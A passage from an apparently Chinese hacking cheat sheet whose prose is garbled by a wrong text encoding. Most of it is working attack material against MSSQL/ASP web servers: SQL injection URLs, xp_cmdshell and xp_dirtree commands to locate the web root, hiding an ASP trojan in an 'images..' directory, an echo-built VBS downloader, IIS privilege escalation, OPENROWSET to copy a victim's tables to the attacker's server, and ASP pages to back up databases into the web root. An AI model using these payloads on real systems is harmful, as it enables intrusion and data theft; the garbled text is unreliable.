and (select count(*) from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM ¾í'))>=Êý×Ö(Êý×Ö=0¡¢1¡¢2¡¢3...)

½Ó×Å£¬ÎÒÃÇÔÚ¶Ô·½µÄÍøÕ¾ÉÏÕÒ¼¸¸öÒ»¼¶×ÓĿ¼£¬Èçuser¡¢photo£¬È»ºó£¬ÓÃɸѡµÄ·½·¨À´ÅжÏWEB¸ùĿ¼ÉÏÊÇ·ñ´æÔÚ´ËÅÌÉÏ£¬Óï¾äÈçÏ£º
and (select count(*) from temp where dir<>'user')<(select count(*) from temp)

¿´Óï¾äµÄ·µ»Ø½á¹û£¬Èç¹ûÎªÕæ£¬±íʾWEB¸ùĿ¼ÓпÉÄÜÔÚ´ËÅÌÉÏ£¬ÎªÁ˽øÒ»²½È·ÈÏ£¬¶à²âÊÔ¼¸¸ö×ÓĿ¼£º
and (select count(*) from temp where dir<>'photo')<(select count(*) from temp)

...

Èç¹ûËùÓеIJâÊÔ½á¹û¶¼ÎªÕ棬±íʾWEB¸ùĿ¼ºÜÓпÉÄÜÔÚ´ËÅÌÉÏ¡£

ÏÂÃæ¼ÙÉèÕÒµ½µÄWEB¸ùĿ¼ÔÚ´ËÅÌÉÏ£¬ÓÃÒÔϵÄÓï¾äÀ´»ñµÃÒ»¼¶×ÓĿ¼µÄÉî¶È£º
and (select depth from temp where dir='user')>=Êý×Ö(Êý×Ö=1¡¢2¡¢3...)

¼ÙÉèµÃµ½µÄdepthÊÇ3,˵Ã÷userĿ¼ÊÇDÅ̵Ä3¼¶Ä¿Â¼£¬ÔòWEB¸ùĿ¼ÊÇDÅ̵Ķþ¼¶Ä¿Â¼¡£

ĿǰÎÒÃÇÒѾ­ÖªµÀÁ˸ùĿ¼ËùÔÚµÄÅÌ·ûºÍÉî¶È£¬ÒªÕÒµ½¸ùĿ¼µÄ¾ßÌåλÖã¬ÎÒÃÇÀ´´ÓDÅ̸ùĿ¼¿ªÊ¼ÖðÒ»ËÑѰ£¬µ±È»£¬Ã»ÓбØÒªÖªµÀÿ¸öĿ¼µÄÃû³Æ£¬·ñÔòÌ«ºÄ·Ñʱ¼äÁË¡£

½ÓÏÂÀ´£¬ÁíÍ⽨Á¢Ò»¸öÁÙʱ±í£¬ÓÃÀ´´æ·ÅDÅ̵Ä1¼¶×ÓĿ¼ÏµÄËùÓÐĿ¼£¬Óï¾äÈçÏ£º

;create table temp1(dir nvarchar(255),depth varchar(255));--

È»ºó°Ñ´ÓDÅ̵ĵÚÒ»¸ö×ÓĿ¼ÏµÄËùÓÐĿ¼´æµ½temp1ÖУ¬Óï¾äÈçÏ£º
declare @dirname varchar(255);set @dirname='d:\'+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM ¾í') order by dir desc)T order by dir);insert into temp1 exec master.dbo.xp_dirtree @dirname
µ±È»Ò²¿ÉÒÔ°ÑDÅ̵ĵڶþ¸ö×ÓĿ¼ÏµÄËùÓÐĿ¼´æµ½temp1ÖУ¬Ö»Ðè°ÑµÚ¶þ¸ötop 1¸ÄΪtop 2¾ÍÐÐÁË¡£

ÏÖÔÚ£¬temp1ÖÐÒѾ­±£´æÁËËùÓÐDÅ̵ÚÒ»¼¶×ÓĿ¼ÏµÄËùÓÐĿ¼,È»ºó£¬ÎÒÃÇÓÃͬÑùµÄ·½·¨À´ÅжϸùĿ¼ÊÇ·ñÔÚ´ËÒ»¼¶×ÓĿ¼Ï£º
and (select count(*) from temp1 where dir<>'user')<(select count(*) from temp1)
Èç¹û·µ»ØÎªÕ棬±íʾ¸ùĿ¼¿ÉÄÜÔÚ´Ë×ÓĿ¼Ï£¬¼ÇסҪ¶à²âÊÔ¼¸¸öÀý×Ó£¬Èç¹û¶¼·µ»ØÎª¼Ù£¬Ôò±íÃ÷WEB¸ùĿ¼²»ÔÚ´ËĿ¼Ï£¬È»ºóÎÒÃÇÔÚÓÃͬÑùµÄ·½·¨À´»ñµÃDÅ̵Ú2¡¢3...¸ö×ÓĿ¼ÏµÄËùÓÐĿ¼ÁÐ±í£¬À´ÅжÏWEB¸ùĿ¼ÊÇ·ñÔÚÆäÏ¡£µ«ÊÇ£¬Òª×¢Ò⣬ÓÃxp_dirtreeǰһ¶¨Òª°Ñtemp1±íÖеÄÄÚÈÝɾ³ý¡£

ÏÖÔÚ¼ÙÉ裬WEB¸ùĿ¼ÔÚDÅ̵ĵÚÒ»¼¶×ÓĿ¼Ï£¬¸Ã×ÓĿ¼Ãû³ÆÎªwebsite,ÔõÑù»ñµÃÕâ¸öĿ¼µÄÃû³ÆÎÒÏë²»ÓÃÎÒ˵Á˰ɡ£ÒòÎªÇ°ÃæÎÒÃÇÖªµÀÁËWEB¸ùĿ¼µÄÉî¶ÈΪ2£¬ÎÒÃÇÐèÒªÖªµÀwebsiteϵ½µ×Äĸö²ÅÊÇÕæÕýµÄWEB¸ùĿ¼¡£

ÏÖÔÚ£¬ÎÒÃÇÓÃͬÑùµÄ·½·¨£¬ÔÙ½¨Á¢µÚ3¸öÁÙʱ±í£º
;create table temp2(dir nvarchar(255),depth varchar(255));--

È»ºó°Ñ´ÓDÅ̵ÄwebsiteϵÄËùÓÐĿ¼´æµ½temp2ÖУ¬Óï¾äÈçÏ£º
declare @dirname varchar(255);set @dirname='d:\website\'+(select top 1 dir from (select top 1 dir from temp1 where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM ¾í') order by dir desc)T order by dir);insert into temp2 exec master.dbo.xp_dirtree @dirname
µ±È»Ò²¿ÉÒÔ°ÑDÅ̵Äwebsiteϵڶþ¸ö×ÓĿ¼ÏµÄËùÓÐĿ¼´æµ½temp2ÖУ¬Ö»Ðè°ÑµÚ¶þ¸ötop 1¸ÄΪtop 2¾ÍÐÐÁË¡£

ÏÖÔÚ£¬ÎÒÃÇÓÃͬÑùµÄ·½·¨ÅжϸÃĿ¼ÊÇ·ñΪ¸ùĿ¼£º
and (select count(*) from temp2 where dir<>'user')<(select count(*) from temp2)
Èç¹û·µ»ØÎªÕ棬ΪÁËÈ·¶¨ÎÒÃǵÄÅжϣ¬¶à²âÊÔ¼¸¸öÀý×Ó£¬·½·¨ÉÏÃæ¶¼½²µ½ÁË£¬Èç¹û¶à¸öÀý×Ó¶¼·µ»ØÎªÕ棬ÄÇô¾ÍÈ·¶¨Á˸ÃĿ¼ΪWEB¸ùĿ¼¡£


ÓÃÒÔÉϵķ½·¨»ù±¾ÉÏ¿ÉÒÔ»ñµÃWEB¸ùĿ¼£¬ÏÖÔÚÎÒÃǼÙÉèWEB¸ùĿ¼ÊÇ£ºD:\website\www
È»ºó£¬ÎÒÃǾͿÉÒÔ±¸·Ýµ±Ç°Êý¾Ý¿âµ½Õâ¸öĿ¼ÏÂÓÃÀ´ÏÂÔØ¡£±¸·ÝǰÎÒÃǰÑtemp¡¢temp1¡¢temp2µÄÄÚÈÝÇå¿Õ£¬È»ºóC¡¢D¡¢EÅ̵ÄĿ¼Ê÷·Ö±ð´æµ½temp¡¢temp1¡¢temp2ÖС£

ÏÂÔØÍêÊý¾Ý¿âºóÒª¼ÇµÃ°ÑÈý¸öÁÙʱ±ídropµô£¬ÏÖÔÚÎÒÃÇÔÚÏÂÔØµÄÊý¾Ý¿âÖпÉÒÔÕÒµ½ËùÓеÄĿ¼ÁÐ±í£¬°üÀ¨ºǫ́¹ÜÀíµÄĿ¼ÒÔ¼°¸ü¶àÐÅÏ¢¡£

21¡¢win2000Ͻ«WEBÓû§ÌáÉýΪϵͳÓû§È¨ÏÞ£¬ÐèÒªÓйÜÀíÔ±µÄȨÏÞ²ÅÄÜÖ´ÐУº
c:\>cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll"

cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\windows\system32\idq.dll" "C:\windows\system32\inetsrv\httpext.dll" "C:\windows\system32\inetsrv\httpodbc.dll" "C:\windows\system32\inetsrv\ssinc.dll" "C:\windows\system32\msw3prt.dll" "C:\windows\system32\inetsrv\asp.dll"

²é¿´ÊÇ·ñ³É¹¦£º
c:\>cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps

Microsoft (R) Windows Script Host Version 5.6
°æÈ¨ËùÓÐ(C) Microsoft Corporation 1996-2001¡£±£ÁôËùÓÐȨÀû¡£
inprocessisapiapps      : (LIST) (6 Items)
"C:\WINNT\system32\idq.dll"
"C:\WINNT\system32\inetsrv\httpext.dll"
"C:\WINNT\system32\inetsrv\httpodbc.dll"
"C:\WINNT\system32\inetsrv\ssinc.dll"
"C:\WINNT\system32\msw3prt.dll"
"c:\winnt\system32\inetsrv\asp.dll"

22¡¢ÈçºÎÒþ²ØASPľÂí£º
½¨Á¢·Ç±ê׼Ŀ¼£ºmkdir images..\
¿½±´ASPľÂíÖÁĿ¼£ºcopy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp
ͨ¹ýweb·ÃÎÊASPľÂí£ºhttp://ip/images../news.asp?action=login
ÈçºÎɾ³ý·Ç±ê׼Ŀ¼£ºrmdir images..\ /s

23¡¢È¥µôtenlnetµÄntlmÈÏÖ¤£º
;exec master.dbo.xp_cmdshell 'tlntadmn config sec = -ntlm'¡ª

24¡¢ÓÃechoдÈëÎļþÏÂÔØ½Å±¾iget.vbs:
(1)echo Set x= createObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >c:\iget.vbs

(2)c:\>cscript iget.vbs http://127.0.0.1/asp/dbm6.asp dbm6.asp


25¡¢ÊÖ¹¤½¨Á¢IISÒþ²ØÄ¿Â¼µÄ·½·¨£º
?    ²é¿´±¾µØÐéÄâĿ¼ÁÐ±í£ºcscript.exe c:\inetpub\AdminScripts\adsutil.vbs enum w3svc/1/root
?    н¨Ò»¸ökissĿ¼£ºmkdir c:\asp\kiss
?    ½¨Á¢kissÐéÄâĿ¼£ºcscript.exe c:\inetpub\AdminScripts\mkwebdir.vbs -c MyComputer -w "Default Web Site" -v "kiss","c:\asp\kiss"   
?    ΪkissĿ¼¼ÓÖ´ÐкÍдȨÏÞ£º
cscript.exe c:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/kiss/kiss/accesswrite "true" -s:
cscript.exe c:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/kiss/accessexecute "true" -s:
?    ?:Cscript c:\inetpub\AdminScripts\adsutil.vbs set /w3svc/1/root/kiss/createprocessasuser false
?    ·ÃÎÊ£ºhttp://127.0.0.1/kiss/test.asp



26¡¢Ê¹ÓÃopenrowset()Á¬»Ø±¾µØ×ö²âÊÔ£º
select a.*
FROM OPENROWSET('SQLOLEDB','127.0.0.1';'sa';'111111',
'select * FROM ..') AS a

select * FROM OPENROWSET('SQLOLEDB','127.0.0.1';'sa';'111111',
'select * FROM ..')

27¡¢»ñµÃÖ÷»úÃû£º
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@servername)--
select convert(int,@@servername)
select @@servername

28¡¢»ñµÃÊý¾Ý¿âÓû§Ãû£º
http://www.XXXX.com/FullStory.asp?id=1 and 1=convert(int,system_user)--
http://www.19cn.com/showdetail.asp?id=49 and user>0
select user

29¡¢ÆÕͨÓû§»ñµÃWEBSHELLµÄ·½·¨Ö®¶þ£º
?    ´ò°ü£º
EXEC .. 'c:\test.rar','default',1,'d:\cmd.asp'
½â°ü£¬¿ÉÒÔÓÃÓڵõ½webshell£º
?    EXEC .. 'C:\test.rar','c:',1, 'n.asp'
?    ¶ÁÈÎÒâÎļþÄÚÈÝ£¬ÒªÇóÓÐmasterµÄdboȨÏÞ£º
EXEC .. 1,'c:\cmd.asp'

30¡¢sa ȨÏÞÏÂÒÑÖªweb·¾¶Ö±½Ó±¸·ÝÊý¾Ý¿âµ½web·¾¶ÏÂ

http://www.XXXX.com/FullStory.asp?id=1;backuup database Êý¾Ý¿âÃû to disk='c:\inetpub\wwwroot\save.db' Ôò°ÑµÃµ½µÄÊý¾ÝÄÚÈÝÈ«²¿±¸·Ýµ½WEBĿ¼Ï£¬ÔÙÓÃHTTP°Ñ´ËÎļþÏÂÔØ(µ±È»Ê×ѡҪ֪µÀWEBÐéÄâĿ¼)¡£

?    ±éÀúϵͳµÄĿ¼½á¹¹£¬·ÖÎö½á¹û²¢·¢ÏÖWEBÐéÄâĿ¼£¬ÏÈ´´½¨Ò»¸öÁÙʱ±í£ºtemp
http://www.XXXX.com/FullStory.asp?id=1;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
?    ¡¡½ÓÏÂÀ´£ºÎÒÃÇ¿ÉÒÔÀûÓÃxp_availablemediaÀ´»ñµÃµ±Ç°ËùÓÐÇý¶¯Æ÷,²¢´æÈëtemp±íÖУº
http://www.XXXX.com/FullStory.asp?id=1;insert temp exec master.dbo.xp_availablemedia;--
?    ÎÒÃÇ¿ÉÒÔͨ¹ý²éѯtempµÄÄÚÈÝÀ´»ñµÃÇý¶¯Æ÷ÁÐ±í¼°Ïà¹ØÐÅÏ¢»òÕßÀûÓÃxp_subdirs»ñµÃ×ÓĿ¼Áбí,²¢´æÈëtemp±íÖУº
http://www.XXXX.com/FullStory.asp?id=1;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--
?    ÎÒÃÇ»¹¿ÉÒÔÀûÓÃxp_dirtree»ñµÃËùÓÐ×ÓĿ¼µÄĿ¼Ê÷½á¹¹,²¢´çÈëtemp±íÖУº
http://www.XXXX.com/FullStory.asp?id=1;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- ÕâÑù¾Í¿ÉÒԳɹ¦µÄä¯ÀÀµ½ËùÓеÄĿ¼£¨Îļþ¼Ð£©Áбí
?    Èç¹ûÎÒÃÇÐèÒª²é¿´Ä³¸öÎļþµÄÄÚÈÝ£¬¿ÉÒÔͨ¹ýÖ´ÐÐxp_cmdsell£º;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';--
?    ʹÓÃ'bulk insert'Óï·¨¿ÉÒÔ½«Ò»¸öÎı¾Îļþ²åÈëµ½Ò»¸öÁÙʱ±íÖС£È磺bulk insert temp(id) from 'c:\inetpub\wwwroot\index.asp'    ä¯ÀÀtemp¾Í¿ÉÒÔ¿´µ½index.aspÎļþµÄÄÚÈÝÁË£¡Í¨¹ý·ÖÎö¸÷ÖÖASPÎļþ£¬¿ÉÒԵõ½´óÁ¿ÏµÍ³ÐÅÏ¢£¬WEB½¨ÉèÓë¹ÜÀíÐÅÏ¢£¬ÉõÖÁ¿ÉÒԵõ½SAÕʺŵÄÁ¬½ÓÃÜÂë¡£

31¡¢Ò»Ð©sqlÖеÄÀ©Õ¹´æ´¢µÄ×ܽá:
xp_availablemedia ÏÔʾϵͳÉÏ¿ÉÓõÄÅÌ·û'C:\' xp_availablemedia
xp_enumgroups Áгöµ±Ç°ÏµÍ³µÄʹÓÃȺ×é¼°Æä˵Ã÷ xp_enumgroups
xp_enumdsn ÁгöϵͳÉÏÒѾ­ÉèÖúõÄODBCÊý¾ÝÔ´Ãû³Æ xp_enumdsn
xp_dirtree ÏÔʾij¸öĿ¼ÏµÄ×ÓĿ¼ÓëÎļþ¼Ü¹¹ xp_dirtree 'C:\inetpub\wwwroot\'
xp_getfiledetails »ñȡijÎļþµÄÏà¹ØÊôÐÔ xp_getfiledetails 'C:\inetpub\wwwroot.asp'
dbp.xp_makecab ½«Ä¿±ê¼ÆËã»ú¶à¸öµµ°¸Ñ¹Ëõµ½Ä³¸öµµ°¸ÀïËùѹËõµÄµµ°¸¶¼¿ÉÒÔ½ÓÔÚ²ÎÊýµÄºóÃæÓö¹ºÅ¸ô¿ª dbp.xp_makecab 'C:\lin.cab','evil',1,'C:\inetpub\mdb.asp'
xp_unpackcab ½âѹËõ xp_unpackcab 'C:\hackway.cab','C:\temp',1
xp_ntsec_enumdomains Áгö·þÎñÆ÷ÓòÃû xp_ntsec_enumdomains
xp_servicecontrol Í£Ö¹»òÕ߯ô¶¯Ä³¸ö·þÎñ xp_servicecontrol 'stop','schedule'
xp_terminate_process ÓÃpidÀ´Í£Ö¹Ä³¸öÖ´ÐÐÖеijÌÐò xp_terminate_process 123
dbo.xp_subdirs Ö»ÁÐij¸öĿ¼ÏµÄ×ÓĿ¼ dbo.xp_subdirs 'C:\'

32¡¢
USE MASTER
GO
create proc sp_MSforeachObject
@objectType int=1,
@command1 nvarchar(2000),
@replacechar nchar(1) = N'?',
@command2 nvarchar(2000) = null,
@command3 nvarchar(2000) = null,
@whereand nvarchar(2000) = null,
@precommand nvarchar(2000) = null,
@postcommand nvarchar(2000) = null
as
/* This proc returns one or more rows for each table (optionally, matching @where), with each table defaulting to its
own result set */
/* @precommand and @postcommand may be used to force a single result set via a temp table. */
/* Preprocessor won't replace within quotes so have to use str(). */
declare @mscat nvarchar(12)
select @mscat = ltrim(str(convert(int, 0x0002)))
if (@precommand is not null)
exec(@precommand)
/* Defined @isobject for save object type */
Declare @isobject varchar(256)
select @isobject= case @objectType when 1 then 'IsUserTable'
when 2 then 'IsView'
when 3 then 'IsTrigger'
when 4 then 'IsProcedure'
when 5 then 'IsDefault'
when 6 then 'IsForeignKey'
when 7 then 'IsScalarFunction'
when 8 then 'IsInlineFunction'
when 9 then 'IsPrimaryKey'
when 10 then 'IsExtendedProc'
when 11 then 'IsReplProc'
when 12 then 'IsRule'
   end
/* create the select */
/* Use @isobject variable isstead of IsUserTable string */
EXEC(N'declare hCForEach cursor global for select ''['' + REPLACE(user_name(uid), N'']'', N'']]'') + '']'' + ''.'' + ''['' +
REPLACE(object_name(id), N'']'', N'']]'') + '']'' from dbo.sysobjects o '
+ N' where OBJECTPROPERTY(o.id, N'''+@isobject+''') = 1 '+N' and o.category & ' + @mscat + N' = 0 '
+ @whereand)
declare @retval int
select @retval = @@error
if (@retval = 0)
   exec @retval = sp_MSforeach_worker @command1, @replacechar, @command2, @command3
if (@retval = 0 and @postcommand is not null)
   exec(@postcommand)
return @retval
GO


/*
1¡£»ñµÃËùÓеĴ洢¹ý³ÌµÄ½Å±¾£º
EXEc sp_MSforeachObject @command1="sp_helptext '?' ",@objectType=4
2¡£»ñµÃËùÓеÄÊÓͼµÄ½Å±¾£º
EXEc sp_MSforeachObject @command1="sp_helptext '?' ",@objectType=2

EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=1
EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=2
EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=3
EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=4
*/

33¡¢DB_OWNERȨÏÞϵÄÊý¾Ý¿â±¸·Ý·½·¨
ÓÃopenrowset°É¡£·´Á¬µ½×Ô¼ºµÄÊý¾Ý¿â»úÆ÷£¬~ÏÈÔÚ±¾µØ½¨¸ö¸úÄ¿±ê»úÆ÷Ò»Ñù½á¹¹µÄ±í~×Ö¶ÎÀàÐÍʹÓÃnvarchar.È»ºóÓú£ÑóÁ¬½Ó¶Ô·½µÄSQLÊý¾Ý¿â£¬ÔÚ²éѯ·ÖÎöÄÇÀïÖ´ÐÐ
insert into OPENROWSET ('sqloledb','server=ÄãÊý¾Ý¿â·þÎñÆ÷µÄIP;uid=user;pwd=pass;database=dbname; ','select * from Ä㽨Á¢µÄ±í) select * from ¶Ô·½µÄ±í¡ª
ÒªÊÇÊý¾ÝÁ¿Ì«´óµÄ»°¾Í¿´¿´ËûÊý¾Ý¿âÀïÓÐûÓÐ×Ô¶¯±àºÅµÄ×Ö¶Î.select * from ±íÃû where id>100
ÕâÑùÀ´Åª°É
ÒªÊǺÍWEB̨ͬµÄ»°£¬Ö±½Ó½«¿âBAKµ½WEBĿ¼Ï»ØÀ´¾ÍOKÀ²¡£¡£¡£²»¹ýǰÌá¿â²»ÄÜÌ«´ó£¬³¬¹ý2GµÄ»°SQL¾Í³¬Ê±ÁË
Èç¹ûÊÇSAȨÏÞ¿ÉÒÔÀûÓÃÏÂÃæµÄÁ½¸öASP³ÌÐòÀ´±¸·ÝÊý¾Ý¿â£º

sqlbackup1.asp
<HTML>
<HEAD>
<TITLE>SQL Server Êý¾Ý¿âµÄ±¸·ÝÓë»Ö¸´</TITLE>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</HEAD>
<BODY>
<form method="post" name=myform>
Ñ¡Ôñ²Ù×÷£º<INPUT TYPE="radio" NAME="act" id="act_backup" value="backup"><label for=act_backup>±¸·Ý</label>¡¡
<INPUT TYPE="radio" NAME="act" id="act_restore" value="restore"><label for=act_restore>»Ö¸´</label>
<br>Êý¾Ý¿âÃû£º<INPUT TYPE="text" NAME="databasename" value="<%=request("databasename")%>">
<br>Îļþ·¾¶£º<INPUT TYPE="text" NAME="bak_file" value="c:\1.exe">(±¸·Ý»ò»Ö¸´µÄÎļþ·¾¶,±¸·Ý³ÉEXEÖ÷ҪΪÁË·½±ãÏÂÔØ,»î»î..)<br>
<input type="submit" value="È·¶¨">
</form>
<%
dim sqlserver,sqlname,sqlpassword,sqlLoginTimeout,databasename,bak_file,act
sqlserver = "localhost" 'sql·þÎñÆ÷
sqlname = "sa" 'Óû§Ãû
sqlpassword = "Êý¾Ý¿âÃÜÂë" 'ÃÜÂë
sqlLoginTimeout = 15 'µÇ½³¬Ê±
databasename = trim(request("databasename"))
bak_file = trim(request("bak_file"))
bak_file = replace(bak_file,"$1",databasename)
act = lcase(request("act"))
if databasename = "" then
response.write "input database name"
else
if act = "backup" then
Set srv=Server.createObject("SQLDMO.SQLServer")
srv.LoginTimeout = sqlLoginTimeout
srv.Connect sqlserver,sqlname, sqlpassword
Set bak = Server.createObject("SQLDMO.Backup")
bak.Database=databasename
bak.Devices=Files
bak.Files=bak_file
bak.SQLBackup srv
if err.number>0 then
response.write err.number&"<font color=red><br>"
response.write err.description&"</font>"
end if
Response.write "<font color=green>±¸·Ý³É¹¦!</font>"
elseif act = "restore" then
'»Ö¸´Ê±ÒªÔÚûÓÐʹÓÃÊý¾Ý¿âʱ½øÐУ¡
Set srv=Server.createObject("SQLDMO.SQLServer")
srv.LoginTimeout = sqlLoginTimeout
srv.Connect sqlserver,sqlname, sqlpassword
Set rest=Server.createObject("SQLDMO.Restore")
rest.Action=0 ' full db restore
rest.Database=databasename
rest.Devices=Files
rest.Files=bak_file
rest.ReplaceDatabase=True 'Force restore over existing database
if err.number>0 then
response.write err.number&"<font color=red><br>"
response.write err.description&"</font>"
end if
rest.SQLRestore srv

Response.write "<font color=green>»Ö¸´³É¹¦!</font>"
else
Response.write "<font color=red>ûÓÐÑ¡Ôñ²Ù×÷</font>"
end if
end if
%>
</BODY>
</HTML>

sqlbackup2.asp
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>²É·ÉÑïASP±¸·ÝMSSQLÊý¾Ý¿â³ÌÐò V1.0--QQ:79998575</title>
</head>
<style>
BODY {    FONT-SIZE: 9pt;    COLOR: #000000;    FONT-FAMILY: "Courier New";    scrollbar-face-color:#E4E4F3;    scrollbar-highlight-color:#FFFFFF;    scrollbar-3dlight-color:#E4E4F3;    scrollbar-darkshadow-color:#9C9CD3;    scrollbar-shadow-color:#E4E4F3;    scrollbar-arrow-color:#4444B3;    scrollbar-track-color:#EFEFEF;}TABLE {    FONT-SIZE: 9pt;    FONT-FAMILY: "Courier New";    BORDER-COLLAPSE: collapse;    border-top-width: 1px;    border-right-width: 1px;    border-bottom-width: 1px;    border-left-width: 1px;    border-top-style: solid;    border-right-style: none;    border-bottom-style: none;    border-left-style: solid;    border-top-color: #d8d8f0;    border-right-color: #d8d8f0;    border-bottom-color: #d8d8f0;    border-left-color: #d8d8f0;}.tr {    font-family: "Courier New";    font-size: 9pt;    background-color: #e4e4f3;    text-align: center;}.td {    font-family: "Courier New";    font-size: 9pt;    background-color: #f9f9fd;}.warningColor {    font-family: "Courier New";    font-size: 9pt;    color: #ff0000;}input {
font-family: "Courier New";
BORDER-TOP-WIDTH: 1px;
BORDER-LEFT-WIDTH: 1px;
FONT-SIZE: 12px;
BORDER-BOTTOM-WIDTH: 1px;
BORDER-RIGHT-WIDTH: 1px;
color: #000000;
}textarea {    font-family: "Courier New";    BORDER-TOP-WIDTH: 1px;    BORDER-LEFT-WIDTH: 1px;    FONT-SIZE: 12px;    BORDER-BOTTOM-WIDTH: 1px;    BORDER-RIGHT-WIDTH: 1px;    color: #000000;}.liuyes {
background-color: #CCCCFF;
}
A:link {    FONT-SIZE: 9pt;    COLOR: #000000;    FONT-FAMILY: "Courier New";    TEXT-DECORATION: none;}tr {    font-family: "Courier New";    font-size: 9pt;    line-height: 18px;}td {    font-family: "Courier New";    font-size: 9pt;    border-top-width: 1px;    border-right-width: 1px;    border-bottom-width: 1px;    border-left-width: 1px;    border-top-style: none;    border-right-style: solid;    border-bottom-style: solid;    border-left-style: none;    border-top-color: #d8d8f0;    border-right-color: #d8d8f0;    border-bottom-color: #d8d8f0;    border-left-color: #d8d8f0;}.trHead {    font-family: "Courier New";    font-size: 9pt;    background-color: #e4e4f3;    line-height: 3px;}.inputLogin {    font-family: "Courier New";    font-size: 9pt;    border: 1px solid #d8d8f0;    background-color: #f9f9fd;    vertical-align: bottom;}</style>
<body>
<form method="post" name="myform" action="?action=backupdatabase">
<table width="686" border="1" align="center">
<tr>
<td width="613" height="30" align="center" bgcolor="#330066"><font color="#FFFFFF">²É·ÉÑïASP±¸·ÝMSSQLÊý¾Ý¿â³ÌÐò V1.0 </font></td>
</tr>
<tr>
<td>Ñ¡Ôñ²Ù×÷£º
   <input type="radio" name="act" id="act_backup"value="backup" />
   <label for=act_backup>±¸·Ý</label>
   <input type="radio" name="act" id="act_restore" value="restore" />
   <label for=act_restore>»Ö¸´</label></td>
</tr>
<tr>
<td><label>SQL·þÎñÆ÷:
   <input type="text" name="sqlserver" value="localhost" />
</label></td>
</tr>
<tr>
<td><label>Óû§Ãû:
   <input name="sqlname" type="text" value="sa" />
ÃÜ Âë:
<input type="text" name="sqlpassword" />
</label></td>
</tr>
<tr>
<td><label>Êý¾Ý¿âÃû£º
   <input type="text" name="databasename" value="<%=request("databasename")%>" />
</label></td>
</tr>
<tr>
<td>Îļþ·¾¶£º
   <input name="bak_file" type="text" value="<% =server.MapPath("\")&"\"&"liuyes.bak"%>" size="60" />
(±¸·Ý»ò»Ö¸´µÄÎļþ·¾¶)</td>
</tr>
<tr>
<td><% Response.write "±¾Îļþ¾ø¶Ô·¾¶:" %>
   <font color="#FF0000">
   <% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>
   </font></td>
</tr>
<tr>
<td><input name=submit1 type="submit" class="liuyes" id=submit1 size="10" value="È· ¶¨" />
   <input name="Submit" type="reset" class="liuyes" size="10" value="ÖØ ÖÃ" /></td>
</tr>
</table>
</form>
<table width="686" border="1" align="center">
<tr>
<td>ÌáʾÐÅÏ¢:<%
if request("action")="" then   
response.write "<font color=#ff0000>²»ÓÃÎÒ¶à˵ʲôÁ˰ɣ¡</font>"
end if
'SQL Server Êý¾Ý¿âµÄ±¸·ÝÓë»Ö¸´!
if request("action")="backupdatabase" Then
dim sqlserver,sqlname,sqlpassword,sqlLoginTimeout,databasename,bak_file,act
sqlserver = trim(request("sqlserver"))
sqlname = trim(request("sqlname"))
sqlpassword =trim(request("sqlpassword"))
sqlLoginTimeout = 15
databasename = trim(request("databasename"))
bak_file = trim(request("bak_file"))
bak_file = replace(bak_file,"$1",databasename)
act = lcase(request("act"))
if databasename = "" then
response.write "<font color=#ff0000>ûÓÐÊäÈëÊý¾Ý¿âÃû³Æ!</font>"
else
if act = "backup" then
Set srv=Server.createObject("SQLDMO.SQLServer")
srv.LoginTimeout = sqlLoginTimeout
srv.Connect sqlserver,sqlname, sqlpassword
Set bak = Server.createObject("SQLDMO.Backup")
bak.Database=databasename
bak.Devices=Files
bak.Action    = 0
bak.Initialize    = 1
'bak.Replace    = True
bak.Files=bak_file
bak.SQLBackup srv
if err.number>0 then
response.write err.number&"<font color=red><br>"
response.write err.description&"</font>"
end if
Response.write "<font color=green>±¸·Ý³É¹¦!</font>"
elseif act="restore" then
'»Ö¸´Ê±ÒªÔÚûÓÐʹÓÃÊý¾Ý¿âʱ½øÐУ¡
Set srv=Server.createObject("SQLDMO.SQLServer")
srv.LoginTimeout = sqlLoginTimeout
srv.Connect sqlserver,sqlname, sqlpassword
Set rest=Server.createObject("SQLDMO.Restore")
rest.Action=0 ' full db restore
rest.Database=databasename
rest.Devices=Files
rest.Files=bak_file
rest.ReplaceDatabase=True 'Force restore over existing database
if err.number>0 then
response.write err.number&"<font color=red><br>"
